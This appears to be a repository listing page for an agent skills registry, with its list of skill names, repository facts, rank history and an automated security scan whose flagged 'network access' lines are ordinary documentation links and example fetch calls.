  • clerk-react-router-patterns
  • clerk-setup
  • clerk-swift
  • clerk-tanstack-patterns
  • clerk-testing
  • clerk-vue-patterns
  • clerk-webhooks
  • cloudflare
  • cloudflare-deploy
  • vercel-composition-patterns
  • containerize-aspnetcore
  • core-data-expert
  • csharp-async
  • csharp-docs
  • csharp-mstest
  • csharp-nunit
  • csharp-tunit
  • csharp-xunit
  • dart-best-practices
  • deploy-to-vercel
  • sleek-design-mobile-apps
  • django-expert
  • django-patterns
  • django-security
  • dotnet-best-practices
  • dotnet-design-pattern-review
  • dotnet-upgrade
  • drizzle
  • durable-objects
  • eas-app-stores
  • eas-hosting
  • eas-workflows
  • elevenlabs-music
  • elevenlabs-tts
  • elysiajs
  • email-and-password-best-practices
  • expo-data-fetching
  • expo-dev-client
  • expo-dom
  • expo-native-ui
  • expo-upgrade
  • fastapi
  • fastapi-python
  • fastapi-templates
  • fastmcp
  • flask-api-development
  • fluentui-blazor
  • flutter-animations
  • flutter-expert
  • flutter-testing
  • frontend-design
  • generating-sorbet
  • generating-sorbet-inline
  • golang-patterns
  • golang-testing
  • gsap-core
  • gsap-frameworks
  • gsap-performance
  • gsap-plugins
  • gsap-react
  • gsap-scrolltrigger
  • gsap-timeline
  • gsap-utils
  • hono
  • implement-background-job
  • instantdb
  • java-coding-standards
  • java-docs
  • java-springboot
  • kotlin-tooling-agp9-migration
  • kotlin-tooling-cocoapods-spm-migration
  • laravel-patterns
  • laravel-specialist
  • Machine Learning
  • migrate-to-vinext
  • neon-postgres
  • nestjs-best-practices
  • next-cache-components-adoption
  • nodejs-backend-patterns
  • nodejs-best-practices
  • nodejs-express-server
  • nuxt
  • organization-best-practices
  • oxlint
  • Pandas Data Analysis
  • pandas-pro
  • php-pro
  • plan-tests
  • playwright-best-practices
  • PR Review
  • prisma-cli
  • prisma-client-api
  • prisma-database-setup
  • prisma-postgres
  • pydantic
  • python-background-jobs
  • python-executor
  • python-patterns
  • python-testing-patterns
  • rails-guides
  • rails-upgrade
  • vercel-react-best-practices
  • react-hook-form
  • react-three-fiber
  • redis-core
  • refactor-module
  • reference-compiler-cli
  • reference-core
  • reference-signal-forms
  • remotion-best-practices
  • review-migration
  • ruby
  • ruby-on-rails-best-practices
  • rust-best-practices
  • sandbox-stable
  • scikit-learn
  • security-check
  • senior-data-scientist
  • seo
  • shadcn
  • sqlalchemy
  • sqlalchemy-alembic-expert-best-practices-code-review
  • stripe-best-practices
  • supabase-postgres-best-practices
  • svelte-code-writer
  • svelte5-best-practices
  • swift-concurrency
  • swift-testing-expert
  • swiftui-expert-skill
  • tailwind-css-patterns
  • tailwind-v4-shadcn
  • tanstack-start
  • tauri-v2
  • terraform-module-library
  • terraform-stacks
  • terraform-style-guide
  • test-driven-development
  • test-service
  • threejs-animation
  • threejs-fundamentals
  • threejs-geometry
  • threejs-interaction
  • threejs-lighting
  • threejs-loaders
  • threejs-materials
  • threejs-postprocessing
  • threejs-shaders
  • threejs-textures
  • triage-bug
  • turborepo
  • two-factor-authentication-best-practices
  • typescript-advanced-types
  • upgrade-stripe
  • ai-sdk
  • vite
  • vitest
  • vue
  • vue-best-practices
  • vue-debug-guides
  • vue-pinia-best-practices
  • web-perf
  • wordpress-router
  • workers-best-practices
  • wp-block-development
  • wp-block-themes
  • wp-performance
  • wp-plugin-development
  • wp-project-triage
  • wp-rest-api
  • wp-wpcli-and-ops
  • wrangler
  • xcode-build-orchestrator
  • zod

Repository facts

License
No license detected
Created
Mar 25, 2026
Last pushed
Nov 4, 2026
Forks
634
Open issues
1
Project activity
Active

Rank over the last 12 weeks

Now #210 · best #160 · down 17 in 30 days

  1. #206 on Oct 30
  2. #207 from Oct 31 to Nov 1
  3. #208 on Nov 2
  4. #210 on Nov 3
  5. #209 from Nov 4 to Nov 5
  6. #210 since Nov 6
62 earlier periods
  1. #156 on Aug 2
  2. #156 from Aug 7 to Aug 9
  3. #159 on Aug 10
  4. #160 from Aug 11 to Aug 12
  5. #162 from Aug 13 to Aug 14
  6. #161 from Aug 15 to Aug 17
  7. #163 from Aug 18 to Aug 19
  8. #162 on Aug 20
  9. #163 on Aug 21
  10. #160 on Aug 22
  11. #165 on Aug 23
  12. #164 on Aug 24
  13. #163 from Aug 25 to Aug 26
  14. #164 on Aug 27
  15. #163 on Aug 28
  16. #165 on Aug 29
  17. #163 on Aug 30
  18. #169 on Sep 1
  19. #165 on Sep 2
  20. #169 on Sep 3
  21. #170 on Sep 4
  22. #172 on Sep 5
  23. #169 on Sep 6
  24. #172 from Sep 7 to Sep 8
  25. #173 on Sep 9
  26. #174 on Sep 11
  27. #178 from Sep 12 to Sep 13
  28. #177 on Sep 14
  29. #179 on Sep 15
  30. #181 on Sep 16
  31. #183 on Sep 17
  32. #184 on Sep 18
  33. #183 on Sep 19
  34. #186 on Sep 20
  35. #185 on Sep 21
  36. #186 on Sep 22
  37. #187 on Sep 23
  38. #186 from Sep 24 to Sep 25
  39. #187 on Sep 26
  40. #189 on Sep 27
  41. #190 on Sep 28
  42. #191 on Sep 29
  43. #188 on Sep 30
  44. #190 on Oct 1
  45. #192 on Oct 2
  46. #187 on Oct 4
  47. #191 from Oct 5 to Oct 6
  48. #193 on Oct 7
  49. #191 on Oct 8
  50. #193 on Oct 9
  51. #191 on Oct 10
  52. #193 from Oct 11 to Oct 12
  53. #195 from Oct 13 to Oct 14
  54. #194 from Oct 15 to Oct 16
  55. #196 on Oct 17
  56. #196 on Oct 19
  57. #195 on Oct 20
  58. #197 from Oct 21 to Oct 22
  59. #198 on Oct 23
  60. #202 on Oct 25
  61. #203 on Oct 28
  62. #205 on Oct 29

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 5, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 691 notes
  • packages/autoskills/skills-registry/accessibility/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/accessibility/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/accessibility/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/adev-writing-guide/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/adev-writing-guide/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/agents-sdk/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/agents-sdk/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/agents-sdk/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/android-architecture-clean/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/android-compose-foundations/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/android-coroutines-flow/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/android-di-hilt/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/android-gradle-build-logic/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/android-kotlin-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/android-networking-retrofit-okhttp/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/android-testing-unit/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/angular-developer/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/apply-stack-conventions/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/apply-stack-conventions/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • packages/autoskills/skills-registry/astro/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 24,461 signals by file

packages/autoskills/skills-registry/accessibility/SKILL.md

  • Network accessline 412
    # Lighthouse accessibility audit npx lighthouse https://example.com --only-categories=accessibility
  • Network accessline 413
    npx lighthouse https://example.com --only-categories=accessibility
  • Network accessline 415
    # axe-core npm install @axe-core/cli -g axe https://example.com
  • Network accessline 417
    axe https://example.com
  • Network accessline 459
    - [WCAG 2.2 Quick Reference](https://www.w3.org/WAI/WCAG22/quickref/)
  • Network accessline 460
    - [WAI-ARIA Authoring Practices](https://www.w3.org/WAI/ARIA/apg/)
  • Network accessline 461
    - [Deque axe Rules](https://dequeuniversity.com/rules/axe/)

packages/autoskills/skills-registry/accessibility/references/WCAG.md

  • Network accessline 109
    <a href="/page">Descriptive link text</a> <!-- External links --> <a href="https://external.com" target="_blank" rel="noopener">
  • Network accessline 110
    <!-- External links --> <a href="https://external.com" target="_blank" rel="noopener">   External site
  • Network accessline 111
    <a href="https://external.com" target="_blank" rel="noopener">
  • Network accessline 178
    | Tool | Type | URL | |------|------|-----| | axe DevTools | Browser extension | [deque.com/axe](https://www.deque.com/axe/) |
  • Network accessline 179
    |------|------|-----| | axe DevTools | Browser extension | [deque.com/axe](https://www.deque.com/axe/) | | WAVE | Browser extension | [wave.webaim.org](https://wave.webaim.org/) |
  • Network accessline 180
    | axe DevTools | Browser extension | [deque.com/axe](https://www.deque.com/axe/) |
  • Network accessline 181
    | WAVE | Browser extension | [wave.webaim.org](https://wave.webaim.org/) |
  • Network accessline 182
    | Lighthouse | Built into Chrome | DevTools → Lighthouse | | NVDA | Screen reader (Windows) | [nvaccess.org](https://www.nvaccess.org/) | | VoiceOver | Screen reader (Mac) | Built into macOS |
  • Network accessline 183
    | NVDA | Screen reader (Windows) | [nvaccess.org](https://www.nvaccess.org/) |
  • Network accessline 185
    | Colour Contrast Analyser | Desktop app | [tpgi.com](https://www.tpgi.com/color-contrast-checker/) |
  • Network accessline 189
    - [WCAG 2.2 W3C Recommendation](https://www.w3.org/TR/WCAG22/)
  • Network accessline 190
    - [WCAG 2.2 Quick Reference](https://www.w3.org/WAI/WCAG22/quickref/)
  • Network accessline 191
    - [What's New in WCAG 2.2](https://www.w3.org/WAI/standards-guidelines/wcag/new-in-22/)

packages/autoskills/skills-registry/agents-sdk/SKILL.md

  • Network accessline 12
    Cloudflare docs: https://developers.cloudflare.com/agents/index.md
  • Network accessline 14
    | Topic | Docs URL | Use for | |-------|----------|---------| | Getting started | [Quick start](https://developers.cloudflare.com/agents/getting-started/quick-start/index.md) | First agent, project setup |
  • Network accessline 15
    |-------|----------|---------| | Getting started | [Quick start](https://developers.cloudflare.com/agents/getting-started/quick-start/index.md) | First agent, project setup | | Adding to existing project | [Add to existing project](https://
  • Network accessline 16
    | Getting started | [Quick start](https://developers.cloudflare.com/agents/getting-started/quick-start/index.md) | First agent, project setup |
  • Network accessline 17
    | Adding to existing project | [Add to existing project](https://developers.cloudflare.com/agents/getting-started/add-to-existing-project/index.md) | Install into existing Workers app |
  • Network accessline 18
    | Configuration | [Configuration](https://developers.cloudflare.com/agents/runtime/operations/configuration/index.md) | `wrangler.jsonc`, bindings, assets, deployment |
  • Network accessline 19
    | Agent class | [Agents API](https://developers.cloudflare.com/agents/runtime/agents-api/index.md) | Agent lifecycle, patterns, pitfalls |
  • Network accessline 20
    | State | [Store and sync state](https://developers.cloudflare.com/agents/runtime/lifecycle/state/index.md) | `setState`, `validateStateChange`, persistence |
  • Network accessline 21
    | Routing | [Routing](https://developers.cloudflare.com/agents/runtime/communication/routing/index.md) | URL patterns, `routeAgentRequest` |
  • Network accessline 22
    | Callable methods | [Callable methods](https://developers.cloudflare.com/agents/runtime/lifecycle/callable-methods/index.md) | `@callable`, RPC, streaming, timeouts |
  • Network accessline 23
    | Scheduling | [Schedule tasks](https://developers.cloudflare.com/agents/runtime/execution/schedule-tasks/index.md) | `schedule()`, `scheduleEvery()`, cron |
  • Network accessline 24
    | Workflows | [Run workflows](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md) | `AgentWorkflow`, durable multi-step tasks |
  • Network accessline 25
    | HTTP/WebSockets | [WebSockets](https://developers.cloudflare.com/agents/runtime/communication/websockets/index.md) | Lifecycle hooks, hibernation |
  • Network accessline 26
    | Chat agents | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) | `AIChatAgent`, streaming, tools, persistence |
  • Network accessline 27
    | Client SDK | [Client SDK](https://developers.cloudflare.com/agents/communication-channels/chat/client-sdk/index.md) | `useAgent`, `AgentClient`, state, RPC, HTTP |
  • Network accessline 28
    | Client tools | [Client tools](https://developers.cloudflare.com/agents/harnesses/think/client-tools/index.md) | Client-side tools, `autoContinueAfterToolResult` |
  • Network accessline 29
    | Server-driven messages | [Autonomous responses](https://developers.cloudflare.com/agents/communication-channels/chat/autonomous-responses/index.md) | `saveMessages`, `waitUntilStable`, server-initiated turns |
  • Network accessline 30
    | Resumable streaming | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md#resumable-streaming) | Stream recovery on disconnect |
  • Network accessline 31
    | Email | [Email](https://developers.cloudflare.com/agents/communication-channels/email/index.md) | Email routing, secure reply resolver |
  • Network accessline 32
    | MCP client | [MCP client](https://developers.cloudflare.com/agents/model-context-protocol/apis/client-api/index.md) | Connecting to MCP servers |
  • Network accessline 33
    | MCP server | [MCP server](https://developers.cloudflare.com/agents/model-context-protocol/apis/handler-api/index.md) | Building MCP servers with `createMcpHandler` |
  • Network accessline 34
    | MCP transports | [MCP transports](https://developers.cloudflare.com/agents/model-context-protocol/protocol/transport/index.md) | Streamable HTTP, SSE, RPC transport options |
  • Network accessline 35
    | Securing MCP servers | [Securing MCP](https://developers.cloudflare.com/agents/model-context-protocol/guides/securing-mcp-server/index.md) | OAuth, proxy MCP, hardening |
  • Network accessline 36
    | Human-in-the-loop | [Human-in-the-loop](https://developers.cloudflare.com/agents/concepts/agentic-patterns/human-in-the-loop/index.md) | Workflow approvals, elicitation, timeout handling |
  • Network accessline 37
    | Durable execution | [Durable execution](https://developers.cloudflare.com/agents/runtime/execution/durable-execution/index.md) | `runFiber()`, `stash()`, surviving DO eviction |
  • Network accessline 38
    | Queue | [Queue](https://developers.cloudflare.com/agents/runtime/execution/queue-tasks/index.md) | Built-in FIFO queue, `queue()` |
  • Network accessline 39
    | Retries | [Retries](https://developers.cloudflare.com/agents/runtime/execution/retries/index.md) | `this.retry()`, backoff/jitter |
  • Network accessline 40
    | Observability | [Observability](https://developers.cloudflare.com/agents/runtime/operations/observability/index.md) | Diagnostics-channel events |
  • Network accessline 41
    | Push notifications | [Push notifications](https://developers.cloudflare.com/agents/communication-channels/webhooks/push-notifications/index.md) | Web Push + VAPID from agents |
  • Network accessline 42
    | Webhooks | [Webhooks](https://developers.cloudflare.com/agents/communication-channels/webhooks/index.md) | Receiving external webhooks |
  • Network accessline 43
    | Cross-domain auth | [Cross-domain auth](https://developers.cloudflare.com/agents/runtime/operations/cross-domain-authentication/index.md) | WebSocket auth, tokens, CORS |
  • Network accessline 44
    | Readonly connections | [Readonly](https://developers.cloudflare.com/agents/runtime/communication/readonly-connections/index.md) | `shouldConnectionBeReadonly` |
  • Network accessline 45
    | Voice | [Voice](https://developers.cloudflare.com/agents/communication-channels/voice/index.md) | Experimental STT/TTS, `withVoice` |
  • Network accessline 46
    | Browse the web | [Browser tools](https://developers.cloudflare.com/agents/tools/browser/index.md) | Experimental CDP browser automation |
  • Network accessline 47
    | Think | [Think](https://developers.cloudflare.com/agents/harnesses/think/index.md) | Experimental higher-level chat agent class |
  • Network accessline 48
    | Migrations | [AI SDK v5](https://github.com/cloudflare/agents/blob/main/docs/agents/migration-to-ai-sdk-v5.md), [AI SDK v6](https://github.com/cloudflare/agents/blob/main/docs/agents/migration-to-ai-sdk-v6.md) | Upgrading `@cloudflare/ai-
  • Network accessline 148
    Custom routing: use `getAgentByName(env.MyAgent, "instance-id")` then `agent.fetch(request)`.

packages/autoskills/skills-registry/agents-sdk/references/browse-the-web.md

  • Network accessline 3
    Fetch https://developers.cloudflare.com/agents/tools/browser/index.md for complete documentation.
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 52
    - Need a real browser (JS rendering, screenshots, interaction) → browser tools - Just need HTML/API data → use `fetch()` instead (faster, cheaper)
  • Network accessline 53
    - Just need HTML/API data → use `fetch()` instead (faster, cheaper)
  • Network accessline 60
    const browser = await connectBrowser(this.env.BROWSER); const cdp = new CdpSession(browser); await cdp.send("Page.navigate", { url: "https://example.com" });
  • Network accessline 62
    await cdp.send("Page.navigate", { url: "https://example.com" });

packages/autoskills/skills-registry/agents-sdk/references/callable.md

  • Network accessline 3
    Fetch https://developers.cloudflare.com/agents/runtime/lifecycle/callable-methods/index.md for complete documentation.

packages/autoskills/skills-registry/agents-sdk/references/client-sdk.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Connect, sync state, call RPC, or send HTTP requests | [Client SDK](https://developers.cloudflare.com/agents/communication-channels/chat/client-sdk/index.md) — hooks, vanilla JS, typed cal
  • Network accessline 6
    |------|---------------| | Connect, sync state, call RPC, or send HTTP requests | [Client SDK](https://developers.cloudflare.com/agents/communication-channels/chat/client-sdk/index.md) — hooks, vanilla JS, typed calls, streaming callbacks, 
  • Network accessline 7
    | Connect, sync state, call RPC, or send HTTP requests | [Client SDK](https://developers.cloudflare.com/agents/communication-channels/chat/client-sdk/index.md) — hooks, vanilla JS, typed calls, streaming callbacks, and connection options |
  • Network accessline 8
    | Build chat UI | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) — `useAgentChat`, message rendering, status, and tool interactions |
  • Network accessline 9
    | Authenticate across origins | [Cross-domain authentication](https://developers.cloudflare.com/agents/runtime/operations/cross-domain-authentication/index.md) — token validation and WebSocket authentication |

packages/autoskills/skills-registry/agents-sdk/references/codemode.md

  • Network accessline 3
    Fetch https://developers.cloudflare.com/agents/tools/codemode/api-reference/index.md for complete documentation.
  • Network accessline 91
    3. Code runs in an isolated Worker sandbox via `DynamicWorkerExecutor` 4. Tool calls route back to the host via Workers RPC 5. External `fetch()` is blocked by default — sandbox can only call your tools
  • Network accessline 93
    5. External `fetch()` is blocked by default — sandbox can only call your tools

packages/autoskills/skills-registry/agents-sdk/references/configuration.md

  • Network accessline 3
    Fetch https://developers.cloudflare.com/agents/runtime/operations/configuration/index.md for complete documentation.

packages/autoskills/skills-registry/agents-sdk/references/durable-execution.md

  • Network accessline 3
    Fetch https://developers.cloudflare.com/agents/runtime/execution/durable-execution/index.md for complete documentation.

packages/autoskills/skills-registry/agents-sdk/references/email.md

  • Network accessline 3
    Fetch https://developers.cloudflare.com/agents/communication-channels/email/index.md for complete documentation.
  • Network accessline 60
    async fetch(request, env) {
  • Access to secretsline 87
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Access to secretsline 119
    [Credential-related source omitted]

packages/autoskills/skills-registry/agents-sdk/references/human-in-the-loop.md

  • Network accessline 5
    | Need | Documentation | |------|---------------| | Approve chat tool execution or run a browser-side tool | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) — `needsApproval`, approva
  • Network accessline 6
    |------|---------------| | Approve chat tool execution or run a browser-side tool | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) — `needsApproval`, approval responses, client tools
  • Network accessline 7
    | Approve chat tool execution or run a browser-side tool | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) — `needsApproval`, approval responses, client tools, and custom denial messa
  • Network accessline 8
    | Pause a durable background task or collect MCP input | [Human-in-the-loop patterns](https://developers.cloudflare.com/agents/concepts/agentic-patterns/human-in-the-loop/index.md) — workflow approval, timeout handling, and elicitation |

packages/autoskills/skills-registry/agents-sdk/references/mcp.md

  • Network accessline 7
    | Task | Documentation | |------|---------------| | Build a server | [Handler API](https://developers.cloudflare.com/agents/model-context-protocol/apis/handler-api/index.md) — server factories, Worker entrypoint, dependencies, and examples 
  • Network accessline 8
    |------|---------------| | Build a server | [Handler API](https://developers.cloudflare.com/agents/model-context-protocol/apis/handler-api/index.md) — server factories, Worker entrypoint, dependencies, and examples | | Migrate an existing s
  • Network accessline 9
    | Build a server | [Handler API](https://developers.cloudflare.com/agents/model-context-protocol/apis/handler-api/index.md) — server factories, Worker entrypoint, dependencies, and examples |
  • Network accessline 10
    | Migrate an existing server | [MCP SDK v2 migration](https://developers.cloudflare.com/agents/model-context-protocol/guides/migrate-to-mcp-sdk-v2/index.md) — stateless migration and temporary legacy paths |
  • Network accessline 11
    | Connect to servers and use their tools | [Client API](https://developers.cloudflare.com/agents/model-context-protocol/apis/client-api/index.md) — connections, OAuth, tools, resources, and retries |
  • Network accessline 12
    | Choose a transport | [Transports](https://developers.cloudflare.com/agents/model-context-protocol/protocol/transport/index.md) — remote HTTP and existing RPC integrations |
  • Network accessline 13
    | Secure a server | [Securing MCP servers](https://developers.cloudflare.com/agents/model-context-protocol/guides/securing-mcp-server/index.md) — OAuth and proxy security |

packages/autoskills/skills-registry/agents-sdk/references/observability.md

  • Network accessline 3
    Fetch https://developers.cloudflare.com/agents/runtime/operations/observability/index.md for complete documentation.

packages/autoskills/skills-registry/agents-sdk/references/queue-retries.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Enqueue, inspect, and remove background work; understand sequential processing and failure handling | [Queue tasks](https://developers.cloudflare.com/agents/runtime/execution/queue-tasks/i
  • Network accessline 6
    |------|---------------| | Enqueue, inspect, and remove background work; understand sequential processing and failure handling | [Queue tasks](https://developers.cloudflare.com/agents/runtime/execution/queue-tasks/index.md) | | Retry an ope
  • Network accessline 7
    | Enqueue, inspect, and remove background work; understand sequential processing and failure handling | [Queue tasks](https://developers.cloudflare.com/agents/runtime/execution/queue-tasks/index.md) |
  • Network accessline 8
    | Retry an operation or configure retries for queued and scheduled callbacks | [Retries](https://developers.cloudflare.com/agents/runtime/execution/retries/index.md) |
  • Network accessline 9
    | Delay recovery or run work on a recurring schedule | [Schedule tasks](https://developers.cloudflare.com/agents/runtime/execution/schedule-tasks/index.md) |

packages/autoskills/skills-registry/agents-sdk/references/routing.md

  • Network accessline 3
    Fetch https://developers.cloudflare.com/agents/runtime/communication/routing/index.md for complete documentation.
  • Network accessline 31
    export default {   async fetch(req, env) {
  • Network accessline 32
    async fetch(req, env) {
  • Network accessline 34
    if (url.pathname.startsWith("/api/")) {       const agent = getAgentByName(env.MyAgent, "singleton");       return agent.fetch(req);
  • Network accessline 35
    const agent = getAgentByName(env.MyAgent, "singleton");       return agent.fetch(req);     }
  • Network accessline 36
    return agent.fetch(req);
  • Network accessline 63
    agent: "MyAgent",   name: "instance-1",   host: "https://my-worker.workers.dev",
  • Network accessline 64
    name: "instance-1",   host: "https://my-worker.workers.dev",   basePath: "/api/agents",
  • Network accessline 65
    host: "https://my-worker.workers.dev",

packages/autoskills/skills-registry/agents-sdk/references/server-driven-messages.md

  • Network accessline 3
    Read [Autonomous responses](https://developers.cloudflare.com/agents/communication-channels/chat/autonomous-responses/index.md) for scheduled, webhook, email, and agent-triggered turns, message schemas, response hooks, and client streaming 

packages/autoskills/skills-registry/agents-sdk/references/state-scheduling.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Define state, validate updates, choose state versus SQL, and query SQLite | [Store and sync state](https://developers.cloudflare.com/agents/runtime/lifecycle/state/index.md) |
  • Network accessline 6
    |------|---------------| | Define state, validate updates, choose state versus SQL, and query SQLite | [Store and sync state](https://developers.cloudflare.com/agents/runtime/lifecycle/state/index.md) | | Synchronize state with React or van
  • Network accessline 7
    | Define state, validate updates, choose state versus SQL, and query SQLite | [Store and sync state](https://developers.cloudflare.com/agents/runtime/lifecycle/state/index.md) |
  • Network accessline 8
    | Synchronize state with React or vanilla JavaScript clients | [Client SDK](https://developers.cloudflare.com/agents/communication-channels/chat/client-sdk/index.md) |
  • Network accessline 9
    | Select delayed, date-based, cron, or interval execution; manage schedules and callbacks | [Schedule tasks](https://developers.cloudflare.com/agents/runtime/execution/schedule-tasks/index.md) |
  • Network accessline 10
    | Configure schedule retry behavior | [Retries](https://developers.cloudflare.com/agents/runtime/execution/retries/index.md) |
  • Network accessline 11
    | Handle lifecycle events, connections, and hibernation | [WebSockets](https://developers.cloudflare.com/agents/runtime/communication/websockets/index.md) |

packages/autoskills/skills-registry/agents-sdk/references/streaming-chat.md

  • Network accessline 7
    | Task | Documentation | |------|---------------| | Build a chat agent | [Chat agent example](https://developers.cloudflare.com/agents/examples/chat-agent/index.md) — setup, provider, server, and UI |
  • Network accessline 8
    |------|---------------| | Build a chat agent | [Chat agent example](https://developers.cloudflare.com/agents/examples/chat-agent/index.md) — setup, provider, server, and UI | | Implement or customize chat | [Chat agents](https://developers
  • Network accessline 9
    | Build a chat agent | [Chat agent example](https://developers.cloudflare.com/agents/examples/chat-agent/index.md) — setup, provider, server, and UI |
  • Network accessline 10
    | Implement or customize chat | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) — message format, tools, custom streams, persistence, concurrency, cancellation, and recovery |
  • Network accessline 11
    | Connect a client | [Client guidance](client-sdk.md) — React, vanilla JS, HTTP, and authentication | | Stream non-chat results | [Callable methods](https://developers.cloudflare.com/agents/runtime/lifecycle/callable-methods/index.md) — ser
  • Network accessline 12
    | Stream non-chat results | [Callable methods](https://developers.cloudflare.com/agents/runtime/lifecycle/callable-methods/index.md) — server and client streaming RPC |

packages/autoskills/skills-registry/agents-sdk/references/think.md

  • Network accessline 3
    Fetch https://developers.cloudflare.com/agents/harnesses/think/index.md for complete documentation.
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]

packages/autoskills/skills-registry/agents-sdk/references/voice.md

  • Network accessline 3
    Fetch https://developers.cloudflare.com/agents/communication-channels/voice/index.md for complete documentation.
  • Access to secretsline 17
    [Credential-related source omitted]

packages/autoskills/skills-registry/agents-sdk/references/webhooks-push.md

  • Network accessline 5
    Fetch https://developers.cloudflare.com/agents/communication-channels/webhooks/index.md for complete documentation.
  • Network accessline 10
    export default {   async fetch(req: Request, env: Env) {
  • Network accessline 11
    async fetch(req: Request, env: Env) {
  • Network accessline 14
    const entityId = url.pathname.split("/")[2];       const agent = getAgentByName(env.MyAgent, entityId);       return agent.fetch(req);
  • Network accessline 15
    const agent = getAgentByName(env.MyAgent, entityId);       return agent.fetch(req);     }
  • Network accessline 16
    return agent.fetch(req);
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 43
    Fetch https://developers.cloudflare.com/agents/communication-channels/webhooks/push-notifications/index.md for complete documentation.
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]

packages/autoskills/skills-registry/agents-sdk/references/workflows.md

  • Network accessline 3
    Use Agents for interactive communication and state management. Add a Workflow when a task needs durable multi-step execution, independent retries, or waits for external approval. Choose based on recovery needs; consult [Run Workflows](https
  • Network accessline 7
    | Task | Documentation | | --- | --- | | Define a typed `AgentWorkflow`, start it from an Agent, and configure bindings | [Quick start](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#quick-start) |
  • Network accessline 8
    | --- | --- | | Define a typed `AgentWorkflow`, start it from an Agent, and configure bindings | [Quick start](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#quick-start) | | Call back into the originating
  • Network accessline 9
    | Define a typed `AgentWorkflow`, start it from an Agent, and configure bindings | [Quick start](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#quick-start) |
  • Network accessline 10
    | Call back into the originating Agent and understand durable versus non-durable helpers | [AgentWorkflow class](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#agentworkflow-class) |
  • Network accessline 11
    | Send events, query instances, pause, resume, terminate, or delete tracked workflows | [Agent workflow methods](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#agent-workflow-methods) |
  • Network accessline 12
    | Receive progress, completion, errors, and custom events | [Lifecycle callbacks](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#lifecycle-callbacks) |
  • Network accessline 13
    | Approve or reject a waiting task | [Human-in-the-loop approval](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#human-in-the-loop-approval) |
  • Network accessline 14
    | Persist Workflow results into Agent state | [State synchronization](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#state-synchronization) |
  • Network accessline 15
    | Define steps, parameters, retries, and returned values | [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) |
  • Network accessline 19
    Keep external side effects within durable steps, make retried operations idempotent, and persist the values needed after recovery through step results. Use the [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-
  • Network accessline 21
    Progress reports and client broadcasts may repeat on retry. Use the documented durable step helpers for persistent Agent state changes and completion reporting; see [bidirectional communication](https://developers.cloudflare.com/agents/runt

packages/autoskills/skills-registry/android-architecture-clean/SKILL.md

  • Network accessline 61
    ## Official References - [https://developer.android.com/topic/architecture](https://developer.android.com/topic/architecture)
  • Network accessline 62
    - [https://developer.android.com/topic/architecture](https://developer.android.com/topic/architecture)
  • Network accessline 63
    - [https://developer.android.com/topic/architecture/recommendations](https://developer.android.com/topic/architecture/recommendations)
  • Network accessline 64
    - [https://developer.android.com/jetpack/guide](https://developer.android.com/jetpack/guide)
  • Network accessline 65
    - [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel)

